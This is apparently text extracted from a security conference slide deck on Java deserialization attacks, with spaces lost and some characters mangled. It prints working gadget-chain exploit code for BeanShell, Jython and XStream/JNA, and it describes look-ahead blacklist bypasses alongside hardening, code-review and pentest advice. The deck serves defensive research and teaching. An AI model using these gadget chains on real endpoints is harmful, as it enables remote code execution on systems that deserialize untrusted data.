Survey
* Your assessment is very important for improving the workof artificial intelligence, which forms the content of this project
* Your assessment is very important for improving the workof artificial intelligence, which forms the content of this project
SESSION ID: ASD-F03 SerialKiller:SilentlyPwning YourJavaEndpoints AlvaroMuñoz PrincipalSecurityResearcher HPESecurityFor@fy @pwntester Chris;anSchneider WhitehatHacker&Developer Freelancer @cschneider4711 Whythistalk? Javadeserializa@onaEackshavebeenknownforyears Rela@velynewgadgetinApacheCommons-Collec/onsmadethetopicalsoavailable tomainstream(dev)audiencein2015 Someinaccurateadvicetoprotectyourapplica@onsismakingtherounds Inthistalkwe’lldemonstratetheweaknessofthisadviceby… …showingyounewRCEgadgets …showingyoubypasses We’llgiveadvicehowtospotthisvulnerabilityanditsgadgetsduring… …codereviews(i.e.showingyouwhattolookfor) …pentests(i.e.howtogenericallytestforsuchissues) 2 WhatisJavaSerializa;onagain? Takingasnapshotofanobjectgraphasabytestreamthatcanbe usedtoreconstructtheobjectgraphtoitsoriginalstate Onlyobjectdataisserialized,notthecode ThecodesitsontheClassPathofthedeserializingend Developerscancustomizethisserializa@on/deserializa@onprocess Individualobject/stateserializa@on via.writeObject()/.writeReplace()/.writeExternal()methods Individualobject/statere-construc@onondeserializingend via.readObject()/.readResolve()/.readExternal()methods(andmore) 3 AMackSurface UsagesofJavaserializa@oninprotocols/formats/products: RMI(RemoteMethodInvoca@on) Android JMX(JavaManagementExtension) AMF(Ac@onMessageFormat) JMS(JavaMessagingSystem) JSFViewState SpringServiceInvokers WebLogicT3 HTTP,JMS,RMI,etc. … … 4 StandingontheShoulderofGiants… SpringAOP(byWouterCoekaerts,publicexploit:@pwntesterin2011) AMFDoS(byWouterCoekaertsin2011) Commons-fileupload(byArunBabuNeelicaEuin2013) Groovy(bycpnrodzc7/@frohoffin2015) Commons-Collec;ons(by@frohoffand@geblin2015) SpringBeans(by@frohoffand@geblin2015) SerialDoS(byWouterCoekaertsin2015) SpringTx(by@zerothinkingin2016) JDK7(by@frohoffin2016) Probablymoreweareforge7ngandmoretocomeinfewminutes… 5 JavaDeserializa;oninaNutshell ObjectInputStream Serializable Class 4. Resolve classes of stream resolveClass() 5. Deserialize objects Application Code Garbage Collector 1. Get bytes 2. Initialize ObjectInputStream 3. Read object from stream • ois.readObject() 6. Restore object member fields • readObject(ObjectInputStream) • readObjectNoData() 7. Eventually replace restored object • readResolve() 8. Optionally validate object • validateObject() 9. Cast deserialized object to expected type 10.Use deserialized object 11.Call finalize() on GC 6 TriggeringExecu;onvia"MagicMethods" ObjectInputStream Serializable Class 4. Resolve classes of stream resolveClass() 5. Deserialize objects Application Code Garbage Collector 1. Get bytes 2. Initialize ObjectInputStream 3. Read object from stream • ois.readObject() 6. Restore object member fields • readObject(ObjectInputStream) • readObjectNoData() 7. Eventually replace restored object • readResolve() 8. Optionally validate object • validateObject() 9. Cast deserialized object to expected type 10.Use deserialized object 11.Call finalize() on GC 7 Exploi;ng"MagicMethods" Abusing"magicmethods"ofgadgetswhichhavedangerouscode: AEackercontrolsmemberfields’valuesofserializedobject [email protected]()/.readResolve()isinvoked Implementa@onofthismethodingadgetclassusesaMacker-controlledfields Asidefromtheclassiconesalsolesser-known"magicmethods"help: .validateObject()aspartofvalida@on(whichdoesnotpreventaEacks) .readObjectNoData()upondeserializa@onconflicts .finalize()aspartofGC(evenajererrors) withdeferredexecu@onbypassingad-hocSecurityManagersatdeserializa@on WorksalsoforExternalizable’s.readExternal() 8 Exploi;ng"MagicMethods" Butwhatifthereareno "MagicMethods"onthetarget’s ClassPaththathave"dangerouscode"for theaEackertoinfluence? 9 ProxywithInvoca;onHandlerasCatalyzer Proxy method2 Interface Class method1 method2 field1 field2 … method1 method2 Invocation Handler Custom code 10 Exploi;ngInvoca;onHandler(IH)Gadgets AEackerstepsuponserializa@on: AEackercontrolsmemberfieldsofIHgadget,whichhasdangerouscode IH(aspartofDynamicProxy)getsserializedbyaEackerasfieldonwhichaninnocuous methodiscalledfrom"magicmethod"(ofclasstodeserialize) Applica@onstepsupondeserializa@on: "MagicMethod"of"TriggerGadget"callsinnocuousmethodonanaMackercontrolledfield Thiscallisinterceptedbyproxy(setbyaEackerasthisfield)anddispatchedtoIH OtherIH-liketypesexistasidefromjava.lang.reflect.Invoca@onHandler [email protected] org.jboss.weld.bean.proxy.MethodHandler 11 NewRCEGadgetinBeanShell (CVE-2016-2510) bsh.XThis$Handler SerializableInvoca@onHandler Uponfunc@onintercep@oncustomBeanShellcodewillbecalled AlmostanyJavacodecanbeincludedinthepayload Inordertoinvokethepayloadatriggergadgetisneeded 12 NewRCEGadgetinBeanShell (CVE-2016-2510) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 String payload = "compare(Object foo, Object bar) {" + " new java.lang.ProcessBuilder(new String[]{\"calc.exe\"}).start();return 1;" + "}"; // Create Interpreter Interpreter i = new Interpreter(); i.eval(payload); // Create Proxy/InvocationHandler XThis xt = new XThis(i.getNameSpace(), i); InvocationHandler handler = (InvocationHandler) getField(xt.getClass(), "invocationHandler").get(xt); Comparator comparator = (Comparator) Proxy.newProxyInstance(classLoader, new Class<?>[]{Comparator.class}, handler); // Prepare Trigger Gadget (will call Comparator.compare() during deserialization) final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator); Object[] queue = new Object[] {1,1}; setFieldValue(priorityQueue, "queue", queue); setFieldValue(priorityQueue, "size", 2); 13 NewRCEGadgetinJython(CVEpending) org.python.core.PyFunction SerializableInvoca@onHandler Uponfunc@onintercep@oncustompythonbytecodewillbecalled Onlypythonbuilt-infunc@onscanbecalled Impor@ngmodulesisnotpossible:noos.system()sorry:( S@llwecanreadandwritearbitraryfiles(cancauseRCEinwebapp) Inordertoinvokethepayloadatriggergadgetisneeded 14 NewRCEGadgetinJython(CVEpending) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 // Python bytecode to write a file on disk String code = "740000" + // 0 LOAD_GLOBAL "640100" + // 3 LOAD_CONST "640200" + // 6 LOAD_CONST "830200" + // 9 CALL_FUNCTION "690100" + // 12 LOAD_ATTR "640300" + // 15 LOAD_CONST "830100" + // 18 CALL_FUNCTION "01" + // 21 POP_TOP "640000" + // 22 LOAD_CONST "53"; // 25 RETURN_VALUE 0 1 2 2 1 3 1 (open) (<PATH>) ('w') (write) (<CONTENT>) // Helping cons and names PyObject[] consts = new PyObject[]{new PyString(""), new PyString(path), new PyString("w"), new PyString(content)}; String[] names = new String[]{"open", “write"}; PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{}, "noname", "<module>", 0, ""); setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray()); PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj); 15 NewRCEGadgets MoreofourreportedRCEgadgetss;llbeingfixed ZDI ID Affected Vendor(s) Severity (CVSS) ZDI-CAN-3511 Oracle 7.5 ZDI-CAN-3510 Oracle 7.5 ZDI-CAN-3497 Oracle 7.5 ZDI-CAN-3588 Oracle 7.5 ZDI-CAN-3592 Oracle 7.5 Staytuned! TwiEer:@pwntester&@cschneider4711 Blog:hEps://hp.com/go/hpsrblog 16 DemoofaMack Let’s take a look at the live demo… 17 Exis;ngMi;ga;onAdvice SimplyremovegadgetclassesfromClassPath(FoxGlove’sadvice) Blacklist&WhitelistbasedcheckatObjectInputStream.resolveClass Differentimplementa@onsofthis"Lookahead"-Deserializa@onexist: UseofObjectInputStreamsubclassinapplica@on’sdeserializa@oncode Agent-based(AOP-like)hookingofcallstoObjectInputStream.resolveClass() AdhocSecurityManagersandboxesduringdeserializa@on 18 Exis;ngMi;ga;onAdvice SimplyremovegadgetclassesfromClassPath(FoxGlove’sadvice) Notfeasiblegivenmoreandmoregadgetsbecomingavailable Blacklist&WhitelistbasedcheckatObjectInputStream.resolveClass Differentimplementa@onsofthis"Lookahead"-Deserializa@onexist: UseofObjectInputStreamsubclassinapplica@on’sdeserializa@oncode Agent-based(AOP-like)hookingofcallstoObjectInputStream.resolveClass() AdhocSecurityManagersandboxesduringdeserializa@on 19 Exis;ngMi;ga;onAdvice SimplyremovegadgetclassesfromClassPath(FoxGlove’sadvice) Notfeasiblegivenmoreandmoregadgetsbecomingavailable Blacklist&WhitelistbasedcheckatObjectInputStream.resolveClass Differentimplementa@onsofthis"Lookahead"-Deserializa@onexist: UseofObjectInputStreamsubclassinapplica@on’sdeserializa@oncode Agent-based(AOP-like)hookingofcallstoObjectInputStream.resolveClass() Blacklists:Bypassesmightexist(inyourdependenciesoryourowncode) Whitelists:Difficulttogetright&DoSthoughJDKstandardclassespossible AdhocSecurityManagersandboxesduringdeserializa@on 20 Exis;ngMi;ga;onAdvice SimplyremovegadgetclassesfromClassPath(FoxGlove’sadvice) Notfeasiblegivenmoreandmoregadgetsbecomingavailable Blacklist&WhitelistbasedcheckatObjectInputStream.resolveClass Differentimplementa@onsofthis"Lookahead"-Deserializa@onexist: UseofObjectInputStreamsubclassinapplica@on’sdeserializa@oncode Agent-based(AOP-like)hookingofcallstoObjectInputStream.resolveClass() Blacklists:Bypassesmightexist(inyourdependenciesoryourowncode) Whitelists:Difficulttogetright&DoSthoughJDKstandardclassespossible AdhocSecurityManagersandboxesduringdeserializa@on Execu@oncanbedeferreda]erdeserializa@on:we’llshowlaterhow… 21 Howdidvendorshandlethisrecently? Vendor / Product Type of Protection Atlassian Bamboo Removed Usage of Serialization Apache ActiveMQ LAOIS Whitelist Apache Batchee LAOIS Blacklist + optional Whitelist Apache JCS LAOIS Blacklist + optional Whitelist Apache openjpa LAOIS Blacklist + optional Whitelist Apache Owb LAOIS Blacklist + optional Whitelist Apache TomEE LAOIS Blacklist + optional Whitelist ********** (still to be fixed) LAOIS Blacklist 22 BypassingLookAheadBlacklists Newgadgettypetobypassad-hoclook-aheadObjectInputStreamblacklistprotec@ons: Canwefindaclasslike: 1 2 3 4 5 6 7 8 public class NestedProblems implements Serializable { byte[] bytes … ; … private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes)); ois.readObject(); } } Duringdeserializa@onoftheobjectgraph,anewimmaculateunprotected ObjectInputStreamwillbeinstan@ated AEackercanprovideanyarbitrarybytesforunsafedeserializa@on BypassdoesnotworkforcaseswhereObjectInputStreamisinstrumented 23 Isthisforrealoristhisjustfantasy? Currentlywefoundmanybypassgadgets: JRE:3 Applica@onServers: IBMWebSphere:13 OracleWebLogic:3 ApacheTomEE:3 … ThirdPartyLibraries: Apachelibraries:6 Springlibraries:1 Otherpopularlibraries:2 24 Example(hasbeenfixed) org.apache.commons.scxml2.env.groovy.GroovyContext 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 @SuppressWarnings("unchecked") private void readObject(ObjectInputStream in) throws IOException,ClassNotFoundException { this.scriptBaseClass = (String)in.readObject(); this.evaluator = (GroovyEvaluator)in.readObject(); this.binding = (GroovyContextBinding)in.readObject(); byte[] bytes = (byte[])in.readObject(); if (evaluator != null) { this.vars = (Map<String, Object>) new ObjectInputStream(new ByteArrayInputStream(bytes)) { protected Class resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException { return Class.forName(osc.getName(), true, evaluator.getGroovyClassLoader()); } }.readObject(); } else { this.vars = (Map<String, Object>)new ObjectInputStream(new ByteArrayInputStream(bytes)).readObject(); } } 25 Nowwithhomedelivery javax.media.jai.remote.SerializableRenderedImage finalize() > dispose() > closeClient() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private void closeClient() { // Connect to the data server. Socket socket = connectToServer(); // Get the socket output stream and wrap an object // output stream around it. OutputStream out = null; ObjectOutputStream objectOut = null; ObjectInputStream objectIn = null; try { out = socket.getOutputStream(); objectOut = new ObjectOutputStream(out); objectIn = new ObjectInputStream(socket.getInputStream()); } catch (IOException e) { ... } ... Bypassesad-hocSecurityManagers 26 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 try { objectIn.readObject(); } catch (IOException e) { sendExceptionToListener(JaiI18N.getString( "SerializableRenderedImage8"), new ImagingException(JaiI18N.getString( "SerializableRenderedImage8"), e)); } catch (ClassNotFoundException cnfe) { sendExceptionToListener(JaiI18N.getString( "SerializableRenderedImage9"), new ImagingException(JaiI18N.getString( "SerializableRenderedImage9"), cnfe)); } ... } Demoofbypass Let’s take a look at the live demo… 27 IsitjustJavaSerializa;on? XStreamislikeJavaSerializa@ononsteroids Candeserializenon-serializableclasses:—>manymoregadgetsavailable Reportedbackin2013:CVE-2013-7285byAlvaroMunoz(@pwntester)&AbrahamKang(@KangAbraham) XStreamimplementedablacklist/whitelistprotec@onscheme (bydefaultonlyblockingjava.beans.EventHandler) Unfortunatelydevsarenotfullyawareands@lluseunprotectedoronlyblacklistedXStreaminstances e.g.:CVE-2015-5254inApacheAc;veMQandCVE-2015-5344inApacheCamel bothby@pwntester,@cschneider4711,@maEhias_kaiser Wefoundmanynewgadgetsduringresearch Can’tbefixedbymakingthemnon-serializable. OnlyfixisapplyingawhitelisttoXStreaminstance. …plusmostoftheonesavailableforJavaserializa@on(e.g.:Commons-Collec@ons,Spring,…) 28 Exploi;ngJNA 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <sorted-set> <string>calc.exe</string> <dynamic-proxy> <interface>java.lang.Comparable</interface> <handler class="com.sun.jna.CallbackReference$NativeFunctionHandler"> <options /> <function class="com.sun.jna.Function"> <peer>140735672090131</peer> <!-- depends on target --> <library> <libraryName>c</libraryName> <libraryPath>libc.dylib</libraryPath> </library> <functionName>system</functionName> </function> </handler> </dynamic-proxy> </sorted-set> 29 XStream,canyourunreadObject()? XStreamworkswithJavaserializa@onsothatifaclasscontainsa readObject()orreadResolve()method,itwillcallthemaspartof thedeserializa@on. XStreamturnsanyXStreamdeserializa@onendpointintoastandard Javaone CanwebypassXStreampermissionsystembyrunningcodein readObject(),readResolve(),finalize(),…? AnyLookAheadbypassgadgetwillalsobevalidtobypassXStream blacklist 30 #RSAC FindingVulnerabili;es&GadgetsintheCode SASTTips WhoShouldCheckforWhat? Checkyourendpointsforthoseaccep;ng(untrusted) serializeddata Checkyourcodeforpoten;algadgets,whichcouldbeusedin deserializa@onaEackswhereyourlibrary/frameworkisused AlsotheClassPathoftheapp-servercanhostexploitablegadgets Problem:"GadgetSpace"istoobig Typicalapp-serverbaseddeploymentshavehundredsofJARsinClassPath SASTtoolsmighthelpforbothchecks… SuchasHPESecurityFor@fyortheOpenSourceFindSecBugs 32 FindingDirectDeserializa;onEndpoints Findcalls(withinyourcodeandyourdependencies’code)to: ObjectInputStream.readObject() ObjectInputStream.readUnshared() WhereInputStreamisaEackercontrolled.Forexample: 1 2 3 InputStream is = request.getInputStream(); ObjectInputStream ois = new ObjectInputStream(is); ois.readObject(); …andObjectInputStreamisorextendsjava.io.ObjectInputStream …butisnotasafeone(eg:Commons-ioValida@ngObjectInputStream) 33 High-LevelGadgetCategories Gadgetisaclass(withintarget’sClassPath)useableupondeserializa@ontofacilitateanaEack, whichojenconsistsofmul@plegadgetschainedtogetherasa"GadgetChain". TriggerGadgetisaclasswitha"MagicMethod"triggeredduringdeserializa@onac@ngupon proxy-ablefields,whichareaEackercontrolled(serializable).TriggerGadgetsini@atethe execu@on. BypassGadgetisaclasswith(preferably)a"MagicMethod"triggeredduringdeserializa@on whichleadstoa"NestedDeserializa@on"withanunprotectedOISofaEacker-controllable bytes. HelperGadgetisaclasswithgluestogetherotherbondsofagadgetchain. AbuseGadgetisaclasswithamethodimplemen@ngdangerousfunc@onality,aEackerswant toexecute. NeedforserializabilityislijedwhentechniqueslikeXStreamareusedbythetarget. 34 FindingGadgetsforFun&Profit Sinks Lookforinteres;ngmethodcalls… java.lang.reflect.Method.invoke() Sources reachedby: java.io.Externalizable.readExternal() java.io.File() java.io.ObjectInputStream() java.io.Serializable.readObject() java.io.Serializable.readObjectNoData() java.net.URLClassLoader() java.net.Socket() java.io.Serializable.readResolve() [email protected]() java.lang.refl[email protected]() java.net.URL() javax.naming.Context.lookup() … [email protected]() org.jboss.weld.bean.proxy.MethodHandler.invoke() java.lang.Object.finalize() <clinit>(sta/cini/alizer) 35 #RSAC WhattoCheckDuringPentests? DASTTips PassiveDeserializa;onEndpointDetec;on Requests(oranynetworktraffic)carryingserializedJavaobjects: Easytospotduetomagicbytesatthebeginning:0xAC 0xED … Someweb-appsmightuseBase64tostoreserializeddata inCookies,etc.:rO0 … Beawarethatcompressioncould’vebeenappliedbeforeBase64 SeveralBurp-Pluginshavebeencreatedrecentlytopassivelyscan forJavaserializa@ondataaspartofwebtrafficanalysis Alsotestfornon-webrelated(binary)trafficwithnetworkprotocol analyzers 37 Ac;veVulnerabilityScanning SomeBurp-Pluginsac;velytrytoexploitsubsetofexis@nggadgets EitherblindthroughOOBcommunica@on("superserial-ac@ve") Forapplica@onsrunningonJBoss Or@me-basedblindviadelay("JavaDeserializa@onScanner") ForgadgetsinApacheCommonsCollec@ons3&4 AndgadgetsinSpring4 Recommenda@on:Adjustac@vescanningpayloadstonotrelyon specificgadgets-beEeruseagenericdelayintroduc@on Suchas"SerialDoS"(byWouterCoekaerts),whichisonlyHashSetbased as of January 2015 38 #RSAC HardeningAdvice HowtoHardenYourApplica;ons? DONOTDESERIALIZEUNTRUSTEDDATA!! Whenarchitecturepermitsit: Useotherformatsinsteadofserializedobjects:JSON,XML,etc. ButbeawareofXML-baseddeserializa@onaEacksviaXStream,XmlDecoder,etc. Assecond-bestop@on: Usedefensivedeserializa@onwithlook-aheadOISwithastrictwhitelist Don’trelyongadget-blacklis@ngalone! YoucanbuildthewhitelistwithOpenSourceagentSWAT(SerialWhitelistApplica@onTrainer) Preferanagent-basedinstrumen@ngofObjectInputStreamtowardsLAOIS Scanyourownwhitelistedcodeforpoten@algadgets IfpossibleuseaSecurityManagerasdefense-in-depth 40 ApplyWhatYouHaveLearnedToday Nextweekyoushould: Iden@fyyourcri@calapplica@ons’exposuretountrusteddatathatgetsdeserialized SASTmighthelphereifcodebaseisbig Foralreadyreportedvulnerableproducts,ensuretoapplypatches Configureapplica@onswithwhitelistswherepossible Inthefirstthreemonthsfollowingthispresenta@onyoushould: Ifpossibleswitchthedeserializa@ontootherformats(JSON,etc.),or Usedefensivedeserializa@onwithastrictwhitelist Withinsixmonthsyoushould: UseDASTtoac@velyscanfordeserializa@onvulnerabili@esaspartofyourprocess ApplySASTtechniquestosearchforaEacker-helpinggadgets Extendthisanalysisalsotonon-cri@calapplica@ons 41 #RSAC Q&A/ThankYou! AlvaroMuñoz @pwntester [email protected] Chris;anSchneider @cschneider4711 mail@[email protected]